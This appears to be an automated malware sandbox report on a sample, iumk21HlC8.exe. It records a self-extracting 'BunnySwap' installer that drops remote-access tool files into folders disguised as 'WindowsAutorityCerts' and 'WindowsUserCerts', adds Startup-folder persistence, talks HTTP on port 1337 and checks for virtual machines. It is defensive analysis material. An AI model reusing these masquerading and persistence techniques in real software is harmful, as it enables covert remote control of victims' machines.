Code function: 6_2_11146010 _memset,GetVersionExA,LoadLibraryA,GetProcAddress,FreeLibrary,GetSystemDefaultLangID,

6_2_11146010

Source: C:\Users\user\Desktop\iumk21HlC8.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_5391875

Jump to behavior

Source: is-GPOHH.tmp.5.dr	Static PE information: real checksum: 0x1c0db should be: 0x25284
Source: is-30RK5.tmp.5.dr	Static PE information: real checksum: 0x143fb should be: 0x1d5a4
Source: BunnySwap.tmp.4.dr	Static PE information: real checksum: 0x0 should be: 0x2e0c8a
Source: is-G60AU.tmp.5.dr	Static PE information: real checksum: 0x143fb should be: 0x1d5a4
Source: is-R69AL.tmp.5.dr	Static PE information: real checksum: 0x1c0db should be: 0x25284
Source: iumk21HlC8.exe	Static PE information: real checksum: 0x377552 should be: 0x3806fb

Source: iumk21HlC8.exe	Static PE information: section name: .didat
Source: BunnySwap.exe.1.dr	Static PE information: section name: .didata
Source: BunnySwap.tmp.4.dr	Static PE information: section name: .didata
Source: is-6QR8B.tmp.5.dr	Static PE information: section name: .hhshare
Source: is-JD6HO.tmp.5.dr	Static PE information: section name: .hhshare

Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_0110E0E4 push eax; ret	1_2_0110E102
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_0110EBA6 push ecx; ret	1_2_0110EBB9
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_004B5000 push 004B50DEh; ret	4_2_004B50D6
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_004B5980 push 004B5A48h; ret	4_2_004B5A40
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_00458000 push ecx; mov dword ptr [esp], ecx	4_2_00458005
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_0049B03C push ecx; mov dword ptr [esp], edx	4_2_0049B03D
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_004A00F8 push ecx; mov dword ptr [esp], edx	4_2_004A00F9
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_00458084 push ecx; mov dword ptr [esp], ecx	4_2_00458089
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_004B1084 push 004B10ECh; ret	4_2_004B10E4
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_004A1094 push ecx; mov dword ptr [esp], edx	4_2_004A1095
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_0041A0B4 push ecx; mov dword ptr [esp], ecx	4_2_0041A0B8
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_004270BC push 00427104h; ret	4_2_004270FC
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_00458108 push ecx; mov dword ptr [esp], ecx	4_2_0045810D
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_004321C8 push ecx; mov dword ptr [esp], edx	4_2_004321C9
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_004A21D8 push ecx; mov dword ptr [esp], edx	4_2_004A21D9
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_0049E1B8 push ecx; mov dword ptr [esp], edx	4_2_0049E1B9
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_0049A260 push 0049A378h; ret	4_2_0049A370
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_00455268 push ecx; mov dword ptr [esp], ecx	4_2_0045526C
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_004252D4 push ecx; mov dword ptr [esp], eax	4_2_004252D9
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_004592FC push ecx; mov dword ptr [esp], edx	4_2_004592FD
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_0045B284 push ecx; mov dword ptr [esp], edx	4_2_0045B285
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_00430358 push ecx; mov dword ptr [esp], eax	4_2_00430359
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_00430370 push ecx; mov dword ptr [esp], eax	4_2_00430371
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_00459394 push ecx; mov dword ptr [esp], ecx	4_2_00459398
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_004A1428 push ecx; mov dword ptr [esp], edx	4_2_004A1429
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_0049B424 push ecx; mov dword ptr [esp], edx	4_2_0049B425
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_004A24D8 push ecx; mov dword ptr [esp], edx	4_2_004A24D9
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_004224F0 push 004225F4h; ret	4_2_004225EC
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_004304F0 push ecx; mov dword ptr [esp], eax	4_2_004304F1
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_00499490 push ecx; mov dword ptr [esp], edx	4_2_00499493
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_00458564 push ecx; mov dword ptr [esp], edx	4_2_00458565

Source: initial sample	Static PE information: section name: .text entropy: 6.90904492268
Source: initial sample	Static PE information: section name: .text entropy: 6.90904492268

Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-DKH09.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-G60AU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsUserCerts\TCCTL32.DLL (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-56656.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\TCCTL32.DLL (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\msvcr100.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-TUN2A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Local\Temp\is-1VK82.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\pcicapi.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsUserCerts\remcmdstub.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-6QR8B.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Local\Temp\is-1VK82.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-AI8EO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-4P5R4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-GPOHH.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\PCICHEK.DLL (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\updater.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	File created: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-R69AL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-GM773.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsUserCerts\PCICL32.DLL (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-60MAI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-D0B6K.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsUserCerts\msvcr100.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsUserCerts\PCICHEK.DLL (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-JD6HO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\PCICL32.DLL (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsUserCerts\pcicapi.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-8A4MH.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-4IOKS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsUserCerts\HTCTL32.DLL (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\iumk21HlC8.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-30RK5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\HTCTL32.DLL (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\remcmdstub.exe (copy)	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\WindowsAutorityCerts.lnk

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\WindowsAutorityCerts.lnk			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUserCerts.lnk			Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Uses known network protocols on non-standard ports

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 1337
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 1337
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 1337
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 1337

Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: 5_2_006A52B8 IsIconic,GetWindowLongW,GetWindowLongW,GetActiveWindow,SetActiveWindow,	5_2_006A52B8
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: 5_2_005C7E30 IsIconic,GetWindowLongW,GetWindowLongW,GetActiveWindow,MessageBoxW,SetActiveWindow,	5_2_005C7E30
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: 6_2_110C1020 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	6_2_110C1020
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: 6_2_11113380 IsIconic,GetTickCount,	6_2_11113380
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: 6_2_110CB750 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	6_2_110CB750
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: 6_2_110CB750 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	6_2_110CB750

Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe

Code function: 6_2_11144140 GetTickCount,GetModuleFileNameA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

6_2_11144140

Source: C:\Users\user\Desktop\iumk21HlC8.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\iumk21HlC8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-DKH09.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-GM773.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-G60AU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-D0B6K.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-60MAI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\WindowsUserCerts\TCCTL32.DLL (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-JD6HO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-56656.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\TCCTL32.DLL (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-8A4MH.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-4IOKS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-TUN2A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-1VK82.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\WindowsUserCerts\remcmdstub.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-6QR8B.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-30RK5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-1VK82.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-AI8EO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-4P5R4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\remcmdstub.exe (copy)	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Users\user\Desktop\iumk21HlC8.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_010FA534 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	1_2_010FA534
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_0111A928 FindFirstFileExA,	1_2_0111A928
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_0110B820 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	1_2_0110B820
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_0040AEF4 FindFirstFileW,FindClose,	4_2_0040AEF4
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_0040A928 GetModuleHandleW,GetProcAddress,FindFirstFileW,FindClose,lstrlenW,lstrlenW,	4_2_0040A928
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: 5_2_0040E6A0 FindFirstFileW,FindClose,	5_2_0040E6A0
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: 5_2_0060BC10 FindFirstFileW,GetLastError,	5_2_0060BC10
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: 5_2_0040E0D4 GetModuleHandleW,GetProcAddress,FindFirstFileW,FindClose,lstrlenW,lstrlenW,	5_2_0040E0D4
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: 5_2_006B76A0 FindFirstFileW,SetFileAttributesW,FindNextFileW,FindClose,	5_2_006B76A0

Source: C:\Users\user\Desktop\iumk21HlC8.exe

Code function: 1_2_0110DBC8 VirtualQuery,GetSystemInfo,

1_2_0110DBC8

Source: is-AI8EO.tmp.5.dr	Binary or memory string: VMware
Source: BunnySwap.exe, 00000004.00000002.677290573.0000000002390000.00000002.00000001.sdmp, BunnySwap.tmp, 00000005.00000002.673192934.0000000002890000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: is-AI8EO.tmp.5.dr	Binary or memory string: hbuf->datahttputil.c%5d000000000002004C4F4F50VirtualVMwareVIRTNETGetAdaptersInfoiphlpapi.dllcbMacAddress == MAX_ADAPTER_ADDRESS_LENGTHmacaddr.cpp,%02x%02x%02x%02x%02x%02x* Netbiosnetapi32.dll01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZwhoa nelly, says Sherman, the Sharkhellooo nurse!kernel32.dllProcessIdToSessionId%s_L%d_%xNOT copied to diskcopied to %sAssert failed - Unhandled Exception (GPF) -
Source: is-56656.tmp.5.dr	Binary or memory string: skt%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllGetAdaptersInfoIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlTCREMOTETCBRIDGE%s=%s
Source: updater.exe, 00000006.00000003.736368352.000000000131A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: is-AI8EO.tmp.5.dr	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cla
Source: is-AI8EO.tmp.5.dr	Binary or memory string: VMWare
Source: updater.exe, 00000006.00000002.924642392.0000000005F0A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: BunnySwap.exe, 00000004.00000002.677290573.0000000002390000.00000002.00000001.sdmp, BunnySwap.tmp, 00000005.00000002.673192934.0000000002890000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: BunnySwap.exe, 00000004.00000002.677290573.0000000002390000.00000002.00000001.sdmp, BunnySwap.tmp, 00000005.00000002.673192934.0000000002890000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: updater.exe, 00000006.00000002.916613769.000000000122A000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW@
Source: updater.exe, 00000006.00000002.925794243.000000006D240000.00000002.00020000.sdmp	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cla$m*
Source: BunnySwap.exe, 00000004.00000002.677290573.0000000002390000.00000002.00000001.sdmp, BunnySwap.tmp, 00000005.00000002.673192934.0000000002890000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\iumk21HlC8.exe

Code function: 1_2_0110ED65 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_0110ED65

Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe

Code function: 6_2_110B7F30 GetLastError,_strrchr,_strrchr,GetTickCount,GetMessageA,TranslateMessage,DispatchMessageA,GetTickCount,GetMessageA,TranslateMessage,DispatchMessageA,GetCurrentThreadId,wsprintfA,wsprintfA,wsprintfA,GetCurrentThreadId,wsprintfA,OutputDebugStringA,wsprintfA,wsprintfA,GetModuleFileNameA,wsprintfA,GetTempPathA,GetLocalTime,_memset,GetVersionExA,wsprintfA,wsprintfA,_fputs,_fputs,_fputs,_fputs,_fputs,_fputs,wsprintfA,_fputs,_strncat,wsprintfA,SetTimer,MessageBoxA,KillTimer,PeekMessageA,MessageBoxA,

6_2_110B7F30

Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe

Code function: 6_2_11146010 _memset,GetVersionExA,LoadLibraryA,GetProcAddress,FreeLibrary,GetSystemDefaultLangID,

6_2_11146010

